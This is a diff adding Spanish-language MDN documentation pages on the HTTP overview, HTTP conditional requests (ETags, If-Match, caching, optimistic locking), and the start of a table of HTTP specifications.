+<p>Una página Web, es un documento de hipertexto ({{glossary("HTTP")}}), luego habrá partes del texto en la página que puedan ser enlaces ({{glossary("link","links")}}) que pueden ser activados (normalmente al hacer click sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al usuario la página Web que desea.</p>
+
+<h3 id="El_servidor_Web">El servidor Web</h3>
+
+<p>Al otro lado del canal de comunicación, está el servidor, el cual <em>"sirve"</em> los datos que ha pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u otros programas, que gestionan otros computadores (como cache, bases de datos, servidores de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido. </p>
+
+<p>Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1 y {{HTTPHeader("Host")}} , pueden incluso compartir la misma dirección de IP.</p>
+
+<h3 id="Proxies">Proxies</h3>
+
+<p>Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de transporte, capa de red o capa física, siendo así transparentes para la capa de comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones que pasan por ellos), y realizan varias funciones: </p>
+
+<ul>
+ <li>caching (la caché puede ser pública o privada, como la caché de un navegador) </li>
+ <li>filtrado (como un anti-virus, control parental, ...)</li>
+ <li>balanceo de carga de peticiones (para permitir a varios servidores responder a la carga total de peticiones que reciben)</li>
+ <li>autentificación (para el control al acceso de recursos y datos)</li>
+ <li>registro de eventos (para tener un histórico de los eventos que se producen)</li>
+</ul>
+
+<h2 id="Características_clave_del_protocolo_HTTP">Características clave del protocolo HTTP</h2>
+
+<h3 id="HTTP_es_sencillo">HTTP es sencillo</h3>
+
+<p>Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las personan que empieza a trabajar con él.</p>
+
+<h3 id="HTTP_es_extensible">HTTP es extensible</h3>
+
+<p>Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse, sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras de HTTP.</p>
+
+<h3 id="HTTP_es_un_protocolo_con_sesiones_pero_sin_estados">HTTP es un protocolo con sesiones, pero sin estados</h3>
+
+<p>HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de "cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de comunicación.</p>
+
+<h3 id="HTTP_y_conexiones">HTTP y conexiones</h3>
+
+<p>Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo sustenta mantenga una conexión continua entre los participantes en la comunicación, solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP, no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a conexión, aunque una conexión continua no es necesaria siempre. </p>
+
+<p>En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto sería más eficiente si se mandaran varios mensajes.</p>
+
+<p>Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el 'pipelining'  y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del protocolo HTTP/2  fue más allá y usa multiplexación de mensajes sobre un única conexión, siendo así una comunicación más eficiente.</p>
+
+<p>Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado con <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y eficiencia de la comunicación. </p>
+
+<h2 id="¿Qué_se_puede_controlar_con_HTTP">¿Qué se puede controlar con HTTP?</h2>
+
+<p>La característica del protocolo HTTP de ser ampliable, ha permitido que durante su desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web: caché o métodos de identificación o autentificación fueron temas que se abordaron pronto en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en los años de la década de 2010.</p>
+
+<p>Se presenta a continuación una lista con los elementos que se pueden controlar con el protocolo HTTP:</p>
+
+<ul>
+ <li><em><a href="/en-US/docs/Web/HTTP/Caching">Cache</a></em><br>
+  El como se almacenan los documentos en la caché, puede ser especificado por HTTP. El servidor puede indicar a los proxies y clientes, que quiere almacenar y durante cuanto tiempo. Aunque el cliente, también puede indicar a los proxies de caché intermedios que ignoren el documento almacenado.</li>
+ <li><em>Flexibilidad del requisito de origen</em><br>
+  Para prevenir invasiones de la privacidad de los usuarios, los navegadores Web, solamente permiten a páginas del mismo origen, compartir la información o datos. Esto es una complicación para el servidor, asi que mediante cabeceras HTTP, se puede flexibilizar o relajar esta división entre cliente y servidor</li>
+ <li><em>Autentificación</em><br>
+  Hay páginas Web, que pueden estar protegidas, de manera que solo los usuarios autorizados puedan acceder. HTTP provee de servicios básicos de autentificación, por ejemplo mediante el uso de cabeceras como:  {{HTTPHeader("WWW-Authenticate")}}, o estableciendo una sesión especifica mediante el uso de  <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>. </li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxies y  tunneling</a></em><br>
+  Servidores y/o clientes pueden estar en intranets y esconder así su verdadera dirección IP a otros. Las peticiones HTTP utilizan los proxies para acceder a ellos. Pero no todos los proxies son HTTP proxies. El protocolo SOCKS, por ejemplo, opera a un nivel más bajo. Otros protocolos, como el FTP, pueden ser servidos mediante estos proxies.</li>
+ <li><em>Sesiones</em><br>
+  El uso de <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> permite relacionar peticiones con el estado del servidor. Esto define las sesiones, a pesar de que por definición el protocolo HTTP es un protocolo sin estado. Esto es muy útil no sólo para aplicaciones de comercio electrónico, sino también para cualquier sitio que permita configuración al usuario.</li>
+</ul>
+
+<h2 id="Flujo_de_HTTP">Flujo de HTTP</h2>
+
+<p>Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a través de un proxy intermedio, realiza los siguientes pasos:</p>
+
+<ol>
+ <li>Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias, y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una existente, o abrir varias a la vez hacia el servidor.</li>
+ <li>Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el principio de operación es el mismo.
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Leer la respuesta enviada por el servidor:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Cierre o reuso de la conexión para futuras peticiones.</li>
+</ol>
+
+<p>Si está activado el HTTP <em>pipelining</em>, varias peticiones pueden enviarse sin tener que esperar que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar en las redes de computadores actuales, donde se mezclan software antiguos y modernos. Así que el HTTP<em> pipelining</em>  ha sido substituido en HTTP/2 por el multiplexado de varias peticiones en una sola trama</p>
+
+<h2 id="Mensajes_HTTP">Mensajes HTTP</h2>
+
+<p>En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes HTTP/2 en el formato de HTTP/1.1.</p>
+
+<p>Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio formato.</p>
+
+<h3 id="Peticiones">Peticiones</h3>
+
+<p>Un ejemplo de petición HTTP:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Una petición de HTTP, está formado  por los siguientes campos:</p>
+
+<ul>
+ <li>Un <a href="/en-US/docs/Web/HTTP/Methods">método </a>HTTP,  normalmente pueden ser un verbo, como: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} o un nombre como: {{HTTPMethod("OPTIONS")}} o {{HTTPMethod("HEAD")}}, que defina la operación que el cliente quiera realizar. El objetivo de un cliente, suele ser una petición de recursos, usando GET, o presentar un valor de un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a>, usando POST, aunque en otras ocasiones puede hacer otros tipos de peticiones. </li>
+ <li>La dirección del recurso pedido; la URL del recurso, sin los elementos obvios por el contexto, como pueden ser: sin el  {{glossary("protocol","protocolo")}} (<code>http://</code>),  el {{glossary("domain","dominio")}} (aquí <code>developer.mozilla.org</code>), o el {{glossary("port","puerto")}} TCP (aquí el 80). </li>
+ <li>La versión del protocolo HTTP.</li>
+ <li>Cabeceras HTTP opcionales, que pueden aportar información adicional a los servidores.</li>
+ <li>O un cuerpo de mensaje, en algún método, como puede ser POST, en el cual envía la información para el servidor.</li>
+</ul>
+
+<h3 id="Respuestas">Respuestas</h3>
+
+<p>Un ejemplo de repuesta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Las respuestas están formadas por los siguentes campos:</p>
+
+<ul>
+ <li>La versión del protocolo HTTP que están usando.</li>
+ <li>Un código de estado, indicando si la petición ha sido exitosa, o no, y debido a que.</li>
+ <li>Un mensaje de estado, una breve descripción del código de estado. </li>
+ <li>Cabeceras HTTP, como las de las peticiones.</li>
+ <li>Opcionalmente, el recurso que se ha pedido.</li>
+</ul>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>El protocólo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor, junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las nuevas y futuras aplicaciones en Internet.</p>
+
+<p>Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y puede ser fácilmente estudiado e investigado con un simple <a href="/en-US/docs/Tools/Network_Monitor">monitor de mensajes HTTP</a>.</p>
diff --git a/files/es/web/http/peticiones_condicionales/index.html b/files/es/web/http/peticiones_condicionales/index.html
new file mode 100644
index 0000000000..c480c68ee2
--- /dev/null
+++ b/files/es/web/http/peticiones_condicionales/index.html
@@ -0,0 +1,148 @@
+---
+title: Peticiones condicionales en HTTP
+slug: Web/HTTP/Peticiones_condicionales
+tags:
+  - Guía
+  - HTTP
+  - Peticiones condicionales
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP tiene un concepto de peticiones condicionales, donde el resultado, e incluso el éxito de una petición, se puede cambiar comparando los recursos afectados con el valor de un validador. Dichas peticiones pueden ser útiles para validar el contenido de un caché, y evitar un control inútil, para verificar la integridad de un documento, como al reanudar una descarga, o al evitar perder actualizaciones al cargar o modificar un documento en el servidor.</p>
+
+<h2 id="Principios">Principios</h2>
+
+<p>Las peticiones condicionales HTTP son peticiones que se ejecutan de manera diferente, dependiendo del valor de encabezados específicos. Estos encabezados definen una condición previa, y el resultado de la petición será diferente si la condición previa coincide o no.</p>
+
+<p>Los diferentes comportamientos están definidos por el método de petición utilizado y por el conjunto de encabezados utilizados para una condición previa:</p>
+
+<ul>
+ <li>para métodos seguros, como {{HTTPMethod("GET")}}, que generalmente intenta recuperar un documento, la petición condicional se puede usar para devolver el documento, solo si es relevante. Por lo tanto, esto ahorra ancho de banda.</li>
+ <li>para métodos no seguros, como {{HTTPMethod("PUT")}}, que generalmente carga un documento, la petición condicional se puede usar para cargar el documento, solo si el original en el que se basa es el mismo que el almacenado en el servidor.</li>
+</ul>
+
+<h2 id="Validadores">Validadores</h2>
+
+<p>Todos los encabezados condicionales intentan verificar si el recurso almacenado en el servidor coincide con una versión específica. Para lograr esto, las peticiones condicionales deben indicar la versión del recurso. Como la comparación de todo el recurso byte a byte es impracticable, y no siempre lo que se desea, la petición transmite un valor que describe la versión. Tales valores se llaman validadores y son de dos tipos:</p>
+
+<ul>
+ <li>la fecha de la última modificación del documento, la fecha <em>last-modified</em>.</li>
+ <li>una cadena opaca, que identifica de forma única cada versión, llamada <em>etiqueta de entidad</em>, o <em>etag</em>.</li>
+</ul>
+
+<p>Comparar versiones del mismo recurso es un poco complicado: según el contexto, hay dos tipos de controles de igualdad:</p>
+
+<ul>
+ <li><em>Validación fuerte</em>, se utiliza cuando se espera una igualdad byte a byte, por ejemplo, al reanudar una descarga.</li>
+ <li><em>Validación débil</em>, se utiliza cuando el agente de usuario solo necesita determinar si los dos recursos tienen el mismo contenido. Incluso si son pequeñas diferencias, como diferentes anuncios, o un pie de página con una fecha diferente.</li>
+</ul>
+
+<p>El tipo de validación es independiente del validador utilizado. Ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} permiten ambos tipos de validación, aunque la complejidad para implementarlo en el lado del servidor puede variar. HTTP utiliza la validación fuerte de forma predeterminada, y especifica cuándo se puede usar una validación débil.</p>
+
+<h3 id="Validación_fuerte">Validación fuerte</h3>
+
+<p id="sect1">La validación sólida consiste en garantizar que el recurso es, byte a byte, idéntico al que se compara. Esto es obligatorio para algunos encabezados condicionales, y el predeterminado para los demás. La validación sólida es muy estricta y puede ser difícil garantizarla a nivel del servidor, pero garantiza que no se pierdan datos en ningún momento, a veces a expensas del rendimiento.</p>
+
+<p>Es bastante difícil tener un identificador único para una validación fuerte con {{HTTPHeader("Last-Modified")}}. A menudo, esto se hace usando una {{HTTPHeader("ETag")}} con el hash MD5 del recurso (o un derivado).</p>
+
+<h3 id="Validación_débil">Validación débil</h3>
+
+<p>La validación débil difiere de la validación fuerte, ya que considera dos versiones del documento como idénticas si el contenido es equivalente. Por ejemplo, una página que diferiría de otra solo por una fecha diferente en su pie de página, o una publicidad diferente, se consideraría idéntica a la otra con validación débil. Estas dos versiones iguales se consideran diferentes cuando se usa una validación fuerte. Construir un sistema de etags que cree una validación débil puede ser complejo, ya que implica conocer la importancia de los diferentes elementos de una página, pero es muy útil para optimizar el rendimiento del caché.</p>
+
+<h2 id="Encabezados_condicionales">Encabezados condicionales</h2>
+
+<p>Varios encabezados HTTP, llamados encabezados condicionales, conducen a peticiones condicionales. Estos son:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es igual a una que se encuentra en este encabezado. Por defecto, a menos que el etag tenga el prefijo <code>'W/'</code>, realiza una validación fuerte.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es diferente a cada una de las enumeradas en este encabezado. Por defecto, a menos que el etag tenga el prefijo <code>'W/'</code>, realiza una validación fuerte.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más reciente que la dada en este encabezado.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más antigua que la dada en este encabezado.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Similar a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, pero sólo puede tener una etag, o una fecha. Si falla, la petición de rango falla, y en lugar de una respuesta {{HTTPStatus("206")}} <code>Partial Content</code> , se envía un {{HTTPStatus("200")}} <code>OK</code> con el recurso completo.</dd>
+</dl>
+
+<h2 id="Casos_de_uso">Casos de uso</h2>
+
+<h3 id="Actualización_de_caché">Actualización de caché</h3>
+
+<p>El caso de uso más común para las peticiones condicionales es la actualización de un caché. Con un caché vacío, o sin un caché, el recurso solicitado se devuelve con un estado {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>Junto con el recurso, los validadores se envían en los encabezados. En este ejemplo, ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} son enviados, pero igualmente podría haber sido solo uno de ellos. Estos validadores se almacenan en caché con el recurso (como todos los encabezados) y se utilizarán para elaborar peticiones condicionales, una vez que el caché se vuelva obsoleto.</p>
+
+<p>Mientras la memoria caché no esté obsoleta, no se emitirá ninguna petición. Pero una vez se haya vuelto obsoleta, esto se controla principalmente por el encabezado {{HTTPHeader("Cache-Control")}}, el cliente no usa el valor en caché directamente, pero emite una <em>petición condicional</em>. El valor del validador se utiliza como parámetro de los encabezados {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}}.</p>
+
+<p>Si el recurso no ha cambiado, el servidor envía una respuesta {{HTTPStatus("304")}} <code>Not Modified</code>. Esto hace que la caché se actualice nuevamente, y el cliente usa el recurso almacenado en caché. Aunque hay una respuesta/petición de ida y vuelta que consume algunos recursos, esto es más eficiente que transmitir de nuevo todo el recurso a través del cable.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>Si el recurso ha cambiado, el servidor simplemente envía una respuesta {{HTTPStatus("200")}}<code> OK</code>, con la nueva versión del recurso, como si la petición no fuera condicional y el cliente usara este nuevo recurso (y lo almacena en caché).</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>Además de la configuración de los validadores en el lado del servidor, este mecanismo es transparente: todos los navegadores administran una memoria caché y envían dichas peticiones condicionales sin que los desarrolladores web realicen ningún trabajo especial.</p>
+
+<h3 id="Integridad_de_una_descarga_parcial">Integridad de una descarga parcial</h3>
+
+<p>La descarga parcial de archivos es una funcionalidad de HTTP que permite reanudar operaciones previas, ahorrando tiempo y ancho de banda, manteniendo la información ya obtenida:</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>Un servidor que admite descargas parciales transmite esto enviando el encabezado {{HTTPHeader("Accept-Ranges")}}. Una vez que esto sucede, el cliente puede reanudar una descarga enviando un encabezado {{HTTPHeader("Ranges")}} con los rangos ausentes:</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>El principio es simple, pero hay un problema potencial: si el recurso descargado se modificó entre ambas descargas, los rangos obtenidos corresponderán a dos versiones diferentes del recurso y el documento final estará corrupto.</p>
+
+<p>Para evitar esto, se utilizan peticiones condicionales. Para los rangos, hay dos formas de hacer esto. El más flexible hace uso de {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}} y el servidor devuelve un error si la precondición falla, entonces el cliente reinicia la descarga desde el principio:</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Incluso si este método funciona, agrega un intercambio adicional de respuesta / petición cuando el documento ha sido cambiado. Esto altera el rendimiento, y HTTP tiene un encabezado específico para evitar este escenario: {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>Esta solución es más eficiente, pero ligeramente menos flexible, ya que solo se puede usar una etag en la condición. Rara vez se necesita flexibilidad adicional.</p>
+
+<h3 id="Evitar_el_problema_de_actualización_perdida_con_bloqueo_optimista">Evitar el problema de actualización perdida con bloqueo optimista</h3>
+
+<p>Una operación común en aplicaciones web es <em>actualizar</em> un documento remoto. Esto es muy común en cualquier sistema de archivos o aplicaciones de control de origen, pero cualquier aplicación que permita almacenar recursos remotos necesita tal mecanismo. Los sitios web comunes, como los wikis y otros CMS, tienen tal necesidad.</p>
+
+<p>Con el método {{HTTPMethod("PUT")}} eres capaz de implementarlo. El cliente primero lee los archivos originales, los modifica y finalmente los envía al servidor:</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Desafortunadamente, las cosas se vuelven un poco inexactas cuando tenemos en cuenta la concurrencia. Mientras un cliente modifica localmente su nueva copia del recurso, un segundo cliente puede obtener el mismo recurso y hacer lo mismo con su copia. Lo que sucede a continuación es muy desafortunado: cuando se devuelven al servidor, las modificaciones del primer cliente son descartadas por la inserción del siguiente cliente, ya que este segundo cliente desconoce los cambios del primer cliente en el recurso. La decisión sobre quién gana, no se comunica a la otra parte. De qué cliente se deberán mantener los cambios, variará con la velocidad a la que se realicen, esto depende del rendimiento de los clientes, del servidor e incluso de la edición humana del documento en el cliente. El ganador cambiará de una vez a la siguiente. Esta es una condición de carrera y conduce a comportamientos problemáticos, que son difíciles de detectar y depurar:</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>No hay manera de lidiar con este problema sin molestar a uno de los dos clientes. Sin embargo, se deben evitar las actualizaciones perdidas y las condiciones de la carrera. Queremos resultados predecibles y esperamos que se notifique a los clientes cuando se rechacen sus cambios.</p>
+
+<p>Las peticiones condicionales permiten implementar el <em>algoritmo de bloqueo optimista</em> (utilizado por la mayoría de las wikis o sistemas de control de fuente). El concepto es permitir que todos los clientes obtengan copias del recurso, luego permitirles modificarlo localmente, controlando la concurrencia al permitir que el primer cliente envíe una actualización. Todas las actualizaciones posteriores, basadas en la versión ahora obsoleta del recurso, se rechazan:</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>Esto se implementa utilizando el encabezado {{HTTPHeader("If-Match")}} o {{HTTPHeader("If-Unmodified-Since")}}. Si la etag no coincide con el archivo original, o si el archivo ha sido modificado desde que se obtuvo, el cambio simplemente se rechaza con un error {{HTTPStatus("412")}} <code>Precondition Failed</code>. Depende entonces del cliente lidiar con el error: ya sea notificando al usuario que vuelva a comenzar (esta vez en la versión más reciente) o mostrándole al usuario una <em>diferencia </em>entre ambas versiones, Ayudándoles a decidir qué cambios desean mantener.</p>
+
+<h3 id="Tratar_con_la_primera_subida_de_un_recurso.">Tratar con la primera subida de un recurso.</h3>
+
+<p>La primera subida de un recurso es un caso similar al anterior. Como cualquier actualización de un recurso, está sujeta a una condición de carrera si dos clientes intentan realizarla en tiempos similares. Para evitar esto, se pueden utilizar peticiones condicionales: añadiendo el encabezado {{HTTPHeader("If-None-Match")}} con el valor especial <code>'*'</code>, representando cualquier etag. La petición sólo tendrá éxito si el recurso no existía antes:</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> solo funcionará con servidores compatibles con HTTP/1.1 (y posteriores). Si no está seguro de que el servidor sea compatible, primero debe emitir una petición {{HTTPMethod("HEAD")}} al recurso para comprobarlo.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Las peticiones condicionales son una característica clave de HTTP y permiten la creación de aplicaciones eficientes y complejas. Para almacenar en caché o reanudar las descargas, el único trabajo requerido para los webmasters es configurar el servidor correctamente, establecer etags correctas en algunos entornos puede ser complicado. Una vez logrado, el navegador atenderá las peticiones condicionales esperadas.</p>
+
+<p>Para los mecanismos de bloqueo, ocurre lo contrario: los desarrolladores web deben emitir una petición con los encabezados adecuados, mientras que los webmasters pueden confiar en la aplicación para realizar las comprobaciones correspondientes.</p>
+
+<p>En ambos casos está claro, las peticiones condicionales son una característica fundamental de la Web.</p>
diff --git a/files/es/web/http/recursos_y_especificaciones/index.html b/files/es/web/http/recursos_y_especificaciones/index.html
new file mode 100644
index 0000000000..0c36d6e3e6
--- /dev/null
+++ b/files/es/web/http/recursos_y_especificaciones/index.html
@@ -0,0 +1,262 @@
+---
+title: Recursos y especificaciones de HTTP
+slug: Web/HTTP/recursos_y_especificaciones
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP se especificó por primera vez a principios de los 90s. Diseñado con extensibilidad en mente, ha visto numerosas adiciones a lo largo de los años; esto lleva a que su especificación se disemine a través de númerosos documentos (en medio de extensiones experimentales abandonadas). Esta página presenta una lista de los recursos relevantes sobre HTTP:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{rfc(7230)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7231)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7232)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7233)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7234)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5861)}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8246)}}</td>
+   <td>HTTP Immutable Responses</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7235)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6265)}}</td>
+   <td>HTTP State Management Mechanism<br>
+    <em>Defines Cookies</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td>
+   <td>Cookie Prefixes</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td>
+   <td>Same-Site Cookies</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td>
+   <td>Deprecate modification of 'secure' cookies from non-secure origins</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2145)}}</td>
+   <td>Use and Interpretation of HTTP Version Numbers</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6585)}}</td>
+   <td>Additional HTTP Status Codes</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7538)}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
